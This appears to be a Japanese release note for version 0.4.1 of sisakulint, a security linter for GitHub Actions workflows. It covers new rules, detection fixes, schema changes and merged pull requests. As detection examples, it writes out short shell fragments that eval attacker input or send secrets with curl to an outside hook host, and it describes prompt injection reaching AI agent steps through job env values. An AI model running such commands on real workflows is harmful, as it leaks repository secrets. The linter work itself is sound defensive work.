  • sisakulint/report/v0: 必須フィールド unread_uses を追加しました(後述)。Report のオブジェクトは additionalProperties: false のため、v0.4.1 の Report は v0.4.0 の report スキーマでは検証に通りません。certainty: confirmed の説明から、仮定の値への言及をなくしました。
  • finding kind の引数(findings-v0.json): credentials.configuration-variable(container、password)を追加しました。ai-action-prompt-injection.env の説明に、ジョブと workflow の env を含めました。
  • sisakulint/registry/v0: 説明文の変更だけです。

exit code が変わりうるその他の変更

  • credentials(#749)。 vars を読み、vars と secrets 以外のコンテキストを読まないパスワードは、これまで credentials.password-expr でした(inconclusive、ビット 8、ルールで最も高い severity の critical として扱う)。v0.4.1 では credentials.configuration-variable(confirmed、medium、ビット 1)になります。--fail-on high または --fail-on critical では、この箇所はビットを立てなくなります。
  • commit-sha(#786)。 呼び出し元を読み、その ./ の呼び出し先を読まない実行では、commit-sha.local-callee-unread(inconclusive、ビット 8)が出ます。たとえば caller.yml が uses: ./.github/workflows/callee.yml を持つとき、sisakulint --root . .github/workflows/caller.yml は v0.4.0 では 0 を返し、v0.4.1 では 8 を返します。呼び出し先も渡すか(… caller.yml callee.yml)、--read-all caller.yml を使うか、--accept でその箇所を受け入れてください。
  • 検出の修正。 「検出の修正」にある修正は、v0.4.0 が見逃していた Finding を追加し、誤検知だった Finding を取り除きます。

新機能

credentials.configuration-variable(#749)

container または services のレジストリのパスワードが ${{ vars.REGISTRY_PASSWORD }} のように configuration variable を読むとき、credentials は新しい finding kind credentials.configuration-variable を報告します(medium、repo.public によらず confirmed)。GitHub は configuration variable の値を平文で保持します。runner は実行ログでその値をマスクせず、REST API は、リポジトリの configuration variable を読める者(Variables 権限を持つ app など)にその値を返します。対処は、パスワードを失効させ、新しいパスワードを secrets から渡すことです。

  • secrets と vars の両方を読むパスワード(secrets.PW || vars.PW)も報告します。secret が設定されていなければ、値は variable の値になるためです。
  • credentials.password-expr(inconclusive)は、その他のコンテキスト(env、inputs、matrix)と、${{ }} 1 つで書かれた container を対象にするようになりました。
  • CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:U。攻撃者は log-reader、前提条件は plain-text-variable です。

信頼済みの self-hosted runner(#744、#792)

  • fact repo.runner-label-trusted(user-supplied、--online は問い合わせません)。オーナーはラベルごとに、そのラベルを持つ runner がフォークからのプルリクエストのコードを実行しないことを宣言します(たとえば、保護された ref 上の選ばれた workflow だけが使える runner group に、その runner が属している場合)。ジョブは runs-on のすべてのラベルを持つ runner でだけ実行されるため、runs-on に信頼済みのラベルを持つジョブを self-hosted-runner は報告しません。どこからも回答のないラベルは信頼されません。宣言しなければ、Finding はこれまでと同じです。この fact は Finding の条件に入らないため、confirmed の Finding が conditional になることはありません。

    # .github/sisakulint-config.yaml(--config で渡す)
    fact:
      - 'repo.runner-label-trusted[runner_label=gh-intel-fast]=true'
      - 'repo.runner-label-trusted[runner_label=gh-intel-economy]=true'

    ラベルは大文字と小文字を区別せずに比較します。--repo を使うときは引数 repo も書いてください(repo.runner-label-trusted[repo=owner/name,runner_label=gh-intel-fast]=true)。repo のないエントリは、repo 付きの問い合わせに一致しません。すべての self-hosted runner が持つ self-hosted や、GitHub-hosted runner または他のリポジトリの runner も持ちうるラベルは宣言しないでください。宣言は設定ファイルと同じく Finding を取り除くため、CODEOWNERS でファイルを保護するか、ベースブランチから読んでください。

  • runs-on の matrix の式。 ${{ }} 1 つで書かれ、値がすべて書かれている matrix 変数だけを読む runs-on は、値の組み合わせごとに評価します(最大 256 通り)。これまでは self-hosted-runner.runs-on-expr(inconclusive)でした。例: ${{ matrix.r == 'x' && fromJSON('["self-hosted","x"]') || matrix.r }}。

  • ルールが読めない runs-on(runs-on-expr、input-dispatch)、たとえば ${{ vars.X || 'label' }} は、フォークからのプルリクエストがリポジトリの runner に届かないと fact が答えるとき、報告しません。repo.public=false かつ、repo.fork-pr-run-workflows=false または repo.allow-forking=false の場合です(#792、#793 を close)。これらの fact は、そのような runs-on があるときだけ問い合わせます。

  • self-hosted-runner.public と self-hosted-runner.private の remedy に、この fact を記載しました。

AI エージェントのルールが、ジョブと workflow の env を読む(#780)

ai-action-prompt-injection、ai-action-excessive-tools、ai-action-execution-order、ai-action-unsafe-sandbox は、ジョブの env と workflow の env の値を、エージェントのステップに届く値として数えます。runner がこれらの変数を action のプロセスに渡すためです。たとえば、ジョブに env: ISSUE_BODY: ${{ github.event.issue.body }} があり、google-github-actions/run-gemini-cli のステップが ISSUE_BODY を読む場合、ジョブの env の位置に ai-action-prompt-injection.env を報告します。v0.4.0 はこの位置に何も報告しませんでした。

  • ステップの env の変数は、ジョブと workflow の env の同名の変数を隠し、ジョブの env の変数は workflow の env の同名の変数を隠します。runs-on で Windows runner と決まる場合は、actions/runner の Windows での比較と同じく、名前を大文字と小文字を区別せずに比較します。runs-on が Windows と決まるのは、self-hosted runner のラベル windows があるとき、またはすべてのラベルが GitHub-hosted の Windows runner のラベルであるときだけです。ラベルに linux または macOS があるときは決まりません。windows-build のようなカスタムラベルでは Windows と決まりません。
  • ${{ }} 1 つで書かれたステップまたはジョブの env は任意の名前の変数を設定しうるため、その env の外側の env は読みません。
  • 前のステップでの $GITHUB_ENV への書き込みを、ジョブまたは workflow の env の値を置き換えるものとしては読みません。書き込みが起こるかどうかは、ステップの if、スクリプトの分岐、間にあるステップで決まるためです。
  • ai-action-prompt-injection は、ジョブまたは workflow の env の値にある参照を、その値が届くエージェントのステップをすべて読んだ後に、env の位置で 1 回だけ報告します。条件のない Finding を出すステップがあればその Finding を、なければ条件付きの Finding を他のステップの Inconclusive とともに、どちらもなければ kind ごとに 1 つの Inconclusive を報告します。このような参照の fingerprint は、どのステップから見ても同じです。
  • --add-attacker variables-writer または secrets-writer を付けた場合、vars または secrets の値の evidence の注記に、値が通るジョブまたは workflow の env の変数名を示します。
  • 新しい宣言: false positive form unknown-os-case と github-env-write(4 ルール)、undetected form job-env-composite(4 ルール。エージェントのステップが composite action のステップである場合)、whole-env(ai-action-excessive-tools、ai-action-execution-order、ai-action-unsafe-sandbox)、windows-label-other-os(4 ルール)。ai-action-prompt-injection の undetected form whole-with は、ジョブと workflow の env も対象にしました。undetected form job-env と job-env-value-run は削除し、その例は true positive になりました。

unread_uses: 実行が読まなかった uses(#811)

--online がなく --facts にも回答がない実行では、ルールは他リポジトリの reusable workflow と action を読みません。v0.4.0 の Report はそのことを示していませんでした。v0.4.1 は、そのような uses を新しい Report のフィールド unread_uses に列挙します。各エントリは、location、書かれたとおりの uses、fact(query。ジョブの uses は workflow.definition、ステップの uses は action.definition)、reason(offline: pass --facts or --online、not in the file of facts、または --rule で実行したルールがその fact を問い合わせない場合の no rule that ran asked the fact)を持ちます。

  • 実行したルールによらず、位置ごとに 1 エントリです。fact に回答があった(--facts)位置や、問い合わせた(--online)位置は列挙しません。
  • テキスト出力では、not run 行の後に、エントリごとに 1 行 not read FILE:LINE:COLUMN USES: KIND: REASON を表示します。
  • エントリは Finding ではありません。exit code のビットを立てず、--accept も適用されません。--format line と SARIF には出力しません。

commit-sha.local-callee-unread(#786)

./ の呼び出し先のファイルが読んだファイルに含まれないとき、commit-sha は何も報告せず、呼び出し先の中の uses は検査されていませんでした。v0.4.1 は、./.github/workflows/<file> を呼ぶジョブと、./<dir> を使う workflow のステップについて、新しい inconclusive kind local-callee-unread(disposition todo、needs repo-file)を呼び出し元の uses の位置に報告します。実行されないジョブは除きます。composite action の中の ./ のステップは、ジョブのワークスペースを指すため対象外です。

fork 専用の pull_request ジョブでの secret-exfiltration(#809)

フォークからのプルリクエストの pull_request の実行は、リポジトリがフォークのプルリクエストの workflow に secret を送る設定でない限り、GITHUB_TOKEN 以外の secret を受け取りません。if がフォークからのプルリクエストだけを通すジョブ(例: github.event.pull_request.head.repo.fork == true)で、GITHUB_TOKEN 以外の secret については、secret-exfiltration.untrusted-destination の条件を request.destination-trusted = false かつ repo.fork-pr-secrets = true にしました。repo.fork-pr-secrets=false ならルールは何も報告せず、回答がなければ Finding は conditional です。if のないジョブ、リポジトリのブランチからのプルリクエストも通す if を持つジョブ、他のイベントも持つ workflow(on: [pull_request, push])では Finding が残ります。

2 つの値を持つ --add-attacker(#803)

複数の追加の攻撃者の印が付いた Finding は、各攻撃者の実行の evidence と related を持つようになりました。v0.4.0 は 1 つの実行のエントリだけを残していたため、たとえば --add-attacker variables-writer,secrets-writer での ai-action-excessive-tools の vars.* の注記が失われていました。


検出の修正

v0.4.0 が見逃していた Finding

  • bash -c と sh -c(#748)。 bash または sh の -c の後のコードが、シングルクォートで囲まれた 1 語であれば、独立したスクリプトとして読みます。sudo などのラッパーや、-ec のようにまとめたオプションにも対応します。スクリプト中のコード、リクエスト、$GITHUB_ENV・$GITHUB_PATH・$GITHUB_OUTPUT への書き込みを読むルールが、このスクリプトを読みます。例: bash -c 'eval "$T"'(code-injection)、bash -c 'echo "X=$T" >> "$GITHUB_ENV"'(envvar-injection)、sh -c 'curl -d "$TOK" …'(secret-exfiltration)。コマンドの前にスクリプトが代入した変数は、env の値として数えません。ダブルクォートのコードや連結されたコードは、引き続き読みません(undetected form env-variable-nested と nested-shell はそれらに限定しました)。
  • declare "$n=…"(#794)。 declare、declare -g、local、export、readonly に渡された "$n=value"(または ${n}=value)という語は、すべての経路で n が 1 つのリテラルの名前を持つ場合に代入として読みます。たとえば n=out; declare "$n=$GITHUB_ENV"; echo "V=$V" >> "$out" は envvar-injection.controlled になります。form name-not-literal は、n=$(printf NAME) のように 1 つのリテラルの名前を持たない n に限定しました。
  • 宛先の複数の値(#788)。 secret-exfiltration とリクエストの読み取りは、宛先の語に届く変数の代入を、テキストで最後のものだけでなくすべて判定します(語ごとに最大 8 個の値)。if c; then U=https://hooks.example.com; else U=https://api.github.com; fi; curl -d "$SECRET" "$U" は secret-exfiltration.untrusted-destination になります。引き続き検出しないもの: コピーを経由する値(U=$A、form several-destination-values)、同時に設定される 2 つの変数(several-destination-variables)、9 個以上の代入(destination-value-limit)。
  • ローカルの composite action への with 全体(#806)。 ステップが with を ${{ }} 1 つで書いた場合(with: ${{ fromJSON(github.event.issue.body) }})、ローカルの composite action のすべての input がその式全体を受け取るものとして読みます。action の中で inputs.<id> を読むルールが報告するようになりました。
  • ローカルの composite action の中の cache-poisoning(#754)。 kind attacker-key と attacker-path は、ジョブが実行するローカルの composite action の中の actions/cache と actions/cache/save のステップを読みます。Finding は action.yml のステップの位置に出て、evidence に呼び出し元の uses を示します。
  • ローカルの reusable workflow と composite action の中の actions/labeler(#757)。 そこにある labeler のステップを、リポジトリ内の呼び出し元がそれを実行するイベント(呼び出し元の if で絞り込んだもの)で読みます。untrusted-checkout、cache-poisoning、ai-action-unrestricted-trigger、unsound-contains、artifact-poisoning は、そのようにラベルが付いた実行を、人が承認した実行としては読まなくなりました。この 5 ルールから undetected form labeler-call を削除しました。
  • labeled の実行での artifact-poisoning(#810)。 あるジョブがプルリクエストのコードをビルドして artifact をアップロードし、同じ実行の別のジョブがそれをダウンロードして実行する場合、攻撃者がラベルを自由に付けられるとき(actions/labeler が付けるなど)に報告します。environment を持つジョブは引き続き対象外です。undetected form labeler-same-run を削除しました。
  • untrusted-checkout と artifact-poisoning(#820) は、bun、deno(task、run、test、bench、serve、install)、cargo +<toolchain> …、npm のコマンドの camelCase の名前(npm cleanInstall)、rake -C/--directory/-f/--rakefile、bundle --gemfile、dotnet のオペランド(dotnet build pr/app.csproj)について、.checkout や .download(checkout.executed や download.executed に依存する)ではなく .executed を報告します。
  • unmasked-secret-exposure(#821)。 ${{ toJSON(github.event_name == 'push' && env) }}-… や ${{ env[github.event_name] }}-… のような output を、それを読むジョブまで追跡します。v0.4.0 は、このような output を runner が捨てるものとして読んでいました。undetected form output-with-secret は、一部の実行で空になる secret の場合に限定しました。
  • bot-conditions(#747)。 呼び出し元がすべては分からない reusable workflow(同じリポジトリの workflow が owner/repo/.github/workflows/<file>@<ref> で呼ぶものなど)を、すべてのイベントで読むようにしたため、その中の bot との比較を報告します。undetected form caller-by-repository-name を削除しました。

v0.4.1 で取り除いた誤検知

  • 実行されないステップとジョブ(#746)。 workflow のすべてのイベントで if が偽になる run のステップ(if: false)は、Finding を出しません。uses のステップは引き続き出します。action の pre ステップは if によらず実行されるためです。pull_request と pull_request_target の opened と reopened では github.event.pull_request.merged は偽なので、それらの type で if: github.event.pull_request.merged == true を持つジョブは実行されません。false positive form permissions.job-never-runs を削除しました。
  • 呼び出し元が実行されないローカルの reusable workflow(#797)。 on が workflow_call だけで、呼び出し元がすべて分かっていて、呼び出し元のジョブがすべて実行されない(またはそのような workflow の中にある)ローカルの reusable workflow は、Finding を出しません。
  • 実行されないステップ(さらに 2 ルール、#796)。 untrusted-checkout では、実行されないステップによって checkout が .executed になることはなくなりました(他のステップがなければ、Finding は checkout.executed を条件とする .checkout です)。unmasked-secret-exposure は、実行されない run のステップを除外します。
  • workflow のイベント(#753)。 on の読み取りをルール間で 1 つに統一しました。types のない pull_request と pull_request_target は、opened、synchronize、reopened で実行されます。呼び出された workflow の中では、github.event_name は呼び出し元のイベントで、workflow_call にはなりません。そのため、on: pull_request で if: github.event.action == 'closed' を持つジョブや、呼び出される workflow で if: github.event_name == 'workflow_call' を持つジョブは実行されず、Finding を出しません。cache-bloat の saves_on はソートされます(pull_request、push)。
  • 呼び出し元の if(#747)。 値を絞り込む呼び出し元ジョブの if(例: github.head_ref)は、すべての呼び出し経路の if がその値を絞り込む場合、呼び出される workflow と composite action の中でも値を絞り込みます。
  • git -c(#750)。 git -c KEY=VALUE(と --config-env)の値をコードとして扱うのは、KEY が git がデータとして保持するキー(user.name、user.email、author.*、committer.*、core.autocrlf、init.defaultBranch、http.extraHeader など)でない場合、キーがリテラルでない場合、または語にクォートの外の展開がある場合だけです。git -c user.name="$TITLE" commit は code-injection.env-variable ではなくなりました。このリストにないデータのキー(merge.conflictStyle など)は引き続き報告します(false positive form git-config-value はそれに限定しました)。
  • すべての改行を取り除くパラメータ展開(#799)。 envvar-injection は ${V%%X*} と ${V##*X} のパターンを bash と同じように読み、X がクォートされた改行、または改行・[:space:]・[:cntrl:] を含むブラケット式であれば、Finding を出しません(例: %%[[:space:]_]*、%%[$' \n']*、##*[[:space:]])。%、#、[:blank:]、[ ]、否定、* がない場合は、引き続き Finding を出します。
  • secret-exfiltration の fork 専用 pull_request ジョブ(#809)と、self-hosted-runner の読めない runs-on(#792): 「新機能」を参照してください。
  • 1 つのリテラルの名前を持つ declare "$n=…"(#794) は、代入によって値が安全になる箇所で、code-injection、request-forgery、set-output-injection、unsecure-commands の Finding を出しません。

レジストリの宣言

--registry の finding kind は 79 個(v0.4.0 は 78 個)、inconclusive kind は 261 個(260 個)、undetected form は 613 個(611 個)、false positive form は 387 個(380 個)です。

変更 宣言
finding kind の追加 credentials.configuration-variable
inconclusive kind の追加 commit-sha.local-callee-unread
undetected form の追加 job-env-composite(AI エージェントの 4 ルール)、whole-env(3 ルール)、windows-label-other-os(4 ルール)、secret-exfiltration.destination-value-limit、secret-exfiltration.several-destination-variables
undetected form の削除 job-env と job-env-value-run(AI エージェントのルール)、labeler-call(ai-action-unrestricted-trigger、artifact-poisoning、cache-poisoning、unsound-contains、untrusted-checkout)、artifact-poisoning.labeler-same-run、bot-conditions.caller-by-repository-name
undetected form の限定 env-variable-nested、nested-shell、name-not-literal、several-destination-values、output-with-secret
false positive form の追加 unknown-os-case、github-env-write(AI エージェントの 4 ルール)
false positive form の削除 permissions.job-never-runs
false positive form の限定 code-injection.git-config-value、name-not-literal

ビルド、パッケージ、開発

  • リリースアセット: sisakulint_0.4.1_darwin_amd64.tar.gz、sisakulint_0.4.1_darwin_arm64.tar.gz、sisakulint_0.4.1_linux_amd64.tar.gz、sisakulint_0.4.1_linux_arm64.tar.gz、sisakulint_0.4.1_linux_armv6.tar.gz、sisakulint_0.4.1_checksums.txt(v0.4.0 と同じ構成)。
  • Go と依存: go.mod は引き続き Go 1.26.11 を要求し、linter はサードパーティのモジュールを必要としません。
  • テスト: 例 undetected/code-injection/env-variable-coproc.yml は、coproc が終了しうる後にその出力を読んでいたため、TestExampleAttacks がときどき no harm になっていました。先にディスクリプタを複製するように例を修正しました(#790、#789 を修正)。
  • このリポジトリの CI(Dependabot): github/codeql-action v4.37.4 → v4.39.4(#573、#775)、actions/upload-artifact 7.0.1 → 7.0.2(#665)、goreleaser/goreleaser-action 7.2.3 → 7.3.0(#666)、ossf/scorecard-action 2.4.4 → 2.6.0(#667、#777)、actions/setup-go 7.0.0 → 7.1.0(#776)。いずれもこのリポジトリの workflow だけの変更です。

今後の互換性

JSON スキーマは引き続き sisakulint/report/v0、sisakulint/registry/v0、sisakulint/facts/v0、sisakulint/acceptances/v0 です。v0.4.0 と同じく、以降の 0.x リリースで JSON スキーマと Go パッケージの互換性が保たれることは約束しません。

アップグレードのチェックリスト

  1. スクリプトから --no-assumptions を、設定ファイルからキー no-assumptions を削除する。
  2. exit code の処理を確認する。ビット 1 を立てていた実行がビット 2 を立てることがある。ビット 1、2、8、16 のいずれかで失敗させる。
  3. 一度 --format json で実行し(またはテキスト出力の conditional の節を読み)、不明な fact に回答する。--online --repo "$GITHUB_REPOSITORY"、facts ファイル、--fact、--config の fact が使える。
  4. フォークからのプルリクエストが届かない self-hosted runner でジョブを実行している場合は、そのラベルを repo.runner-label-trusted で宣言する。
  5. 一部のファイルだけを lint している場合は、commit-sha.local-callee-unread がビット 8 を立てないよう、./ の呼び出し先も渡すか、--read-all を使う。
  6. Report や facts ファイルをスキーマで検証している場合は、v0.4.1 のスキーマを使う。
  7. unread_uses を読み、デフォルトの実行が読まなかった uses を確認する。読ませるには --online または --facts を渡す。

プルリクエスト

  • #742 不明な fact を最悪の値で仮定する代わりに conditional の Finding を出し、--no-assumptions を削除(#727 を close)(@on-keyday)
  • #744 self-hosted-runner: 信頼済みの runner ラベルと、matrix の runs-on の式(@HikaruEgashira)
  • #746 ジョブとステップの到達性を 1 か所で決め、すべてのルールに適用(#714 を修正)(hikaevi[bot])
  • #747 呼び出し元ジョブの if と呼び出し元の集合を、呼び出される workflow の読み取りに引き継ぐ(#715 を修正)(hikaevi[bot])
  • #748 スクリプトの流れを読むすべてのルールで、bash -c と sh -c のコードを入れ子のスクリプトとして読む(#716 を修正)(hikaevi[bot])
  • #749 configuration variable から読んだレジストリのパスワードを報告(@HikaruEgashira)
  • #750 git -c のすべての値をコードとして扱うのをやめる(#718 を修正)(hikaevi[bot])
  • #753 ジョブのイベントと、呼び出されたときだけ実行されるかどうかを、1 つの共通関数で計算(#713 を修正)(hikaevi[bot])
  • #754 cache-poisoning の kind attacker-key と attacker-path を、ローカルの composite action の中でも読む(#719 を修正)(hikaevi[bot])
  • #757 ローカルの reusable workflow と composite action の中の actions/labeler を読む(#720 を修正)(hikaevi[bot])
  • #780 ジョブと workflow の env を、AI エージェントのステップに届く値として数える(#722 を close。hikaevi[bot] の #758 の続き)(@on-keyday)
  • #786 commit-sha: ローカルの呼び出し先が読んだファイルに含まれないとき Inconclusive を報告(#721 を修正)(hikaevi[bot])
  • #788 secret の流れとリクエストの宛先で、届く変数の代入をすべて判定(#755 を修正)(hikaevi[bot])
  • #790 TestExampleAttacks の coproc の例を決定的にする(#789 を修正)(hikaevi[bot])
  • #792 self-hosted-runner: フォークからのプルリクエストが runner に届かないとき、読めない runs-on を除外(#793 を close)(@HikaruEgashira)
  • #794 n が 1 つの既知のリテラル値を持つとき、declare "$n=..." を代入として読む(#756 を修正)(hikaevi[bot])
  • #796 untrusted-checkout と unmasked-secret-exposure が、ステップが実行されないという判定を読むようにする(#763 を修正)(hikaevi[bot])
  • #797 呼び出し元のジョブが実行されないローカルの reusable workflow では Finding を出さない(#764 を修正)(hikaevi[bot])
  • #799 envvar-injection: パラメータ展開ですべての改行を取り除いた値には Finding を出さない(#692 を修正)(hikaevi[bot])
  • #803 2 つの --add-attacker の値で、すべての攻撃者の evidence を保持(#694 を修正)(hikaevi[bot])
  • #806 with 全体としてローカルの composite action に渡された、攻撃者が制御する値を読む(#695 を修正)(hikaevi[bot])
  • #809 secret-exfiltration: repo.fork-pr-secrets が false のとき、fork 専用の pull_request ジョブに Finding を出さない(#804 を修正)(hikaevi[bot])
  • #810 artifact-poisoning: 同じ実行の別のジョブがプルリクエストからビルドした artifact を実行する labeled の実行を報告(#697 を修正)(hikaevi[bot])
  • #811 実行が読まなかった他リポジトリの reusable workflow と action を列挙(unread_uses)(#696 を修正)(hikaevi[bot])
  • #820 untrusted-checkout: bun、deno、cargo +toolchain、camelCase の npm コマンド、checkout 内のパスを渡された rake・bundle・dotnet で .executed を報告(#699 を修正)(hikaevi[bot])
  • #821 unmasked-secret-exposure: A && B と、不明な INDEX を持つ env[INDEX] を追跡(#817 を修正)(hikaevi[bot])
  • #573、#665、#666、#667、#775、#776、#777 CI の action の Dependabot による更新(dependabot[bot])

Full Changelog: v0.4.0...v0.4.1